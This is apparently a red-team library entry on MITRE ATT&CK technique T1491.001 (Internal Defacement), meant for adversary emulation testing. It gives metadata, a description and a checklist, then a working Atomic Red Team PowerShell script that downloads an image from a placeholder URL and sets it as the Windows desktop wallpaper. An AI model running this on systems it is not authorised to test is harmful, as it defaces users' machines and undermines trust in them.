t1491-001-internal-defacement

name	T1491.001_internal-defacement
description	An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems.
category	business-logic
version	18.1
author	cyberstrike-official
tags	["mitre-attack","enterprise","t1491.001","impact","esxi","linux","macos","windows","sub-technique"]
technique_id	T1491.001
tactic	impact
all_tactics	["impact"]
platforms	["ESXi","Linux","macOS","Windows"]
mitre_url	https://attack.mitre.org/techniques/T1491/001
tech_stack	["esxi","linux","macos","windows"]
cwe_ids	["CWE-400"]
chains_with	["T1491","T1491.002"]
prerequisites	["T1491"]
severity_boost	{"T1491":"Chain with T1491 for deeper attack path","T1491.002":"Chain with T1491.002 for deeper attack path"}

T1491.001 Internal Defacement

Sub-technique of: T1491

High-Level Description

An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites or server login messages, or directly to user systems with the replacement of the desktop wallpaper. Disturbing or offensive images may be used as a part of Internal Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.

Kill Chain Phase

• Impact (TA0040)

Platforms: ESXi, Linux, macOS, Windows

What to Check

• Identify if Internal Defacement technique is applicable to target environment
• Check ESXi systems for indicators of Internal Defacement
• Check Linux systems for indicators of Internal Defacement
• Check macOS systems for indicators of Internal Defacement
• Verify mitigations are bypassed or absent (1 known mitigations)
• Assess detection coverage (1 detection strategies)

How to Test

Atomic Red Team Tests

The following tests are from Atomic Red Team and provide actionable ways to test this technique:

Atomic Test 1: Replace Desktop Wallpaper

Downloads an image from a URL and sets it as the desktop wallpaper.

Supported Platforms: windows

$url = "#{url_of_wallpaper}"
$imgLocation = "#{wallpaper_location}"
$orgWallpaper = (Get-ItemProperty -Path Registry::'HKEY_CURRENT_USER\Control Panel\Desktop\' -Name WallPaper).WallPaper
$orgWallpaper | Out-File -FilePath "#{pointer_to_orginal_wallpaper}"
$updateWallpapercode = @'
using System.Runtime.InteropServices;
namespace Win32{

    public class Wallpaper{
        [DllImport("user32.dll", CharSet=CharSet.Auto)]
         static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ;

         public static void SetWallpaper(string thePath){
            SystemParametersInfo(20,0,thePath,3);
        }
    }
}
'@
$wc = New-Object System.Net.WebClient
try{
    $wc.DownloadFile($url, $imgLocation)
    add-type $updateWallpapercode
    [Win32.Wallpaper]::SetWallpaper($imgLocation)
}
catch [System.Net.WebException]{
    Write-Host("Cannot download $url")
    add-type $updateWallpapercode
    [Win32.Wallpaper]::SetWallpaper($imgLocation)
}
finally{
    $wc.Dispose()
}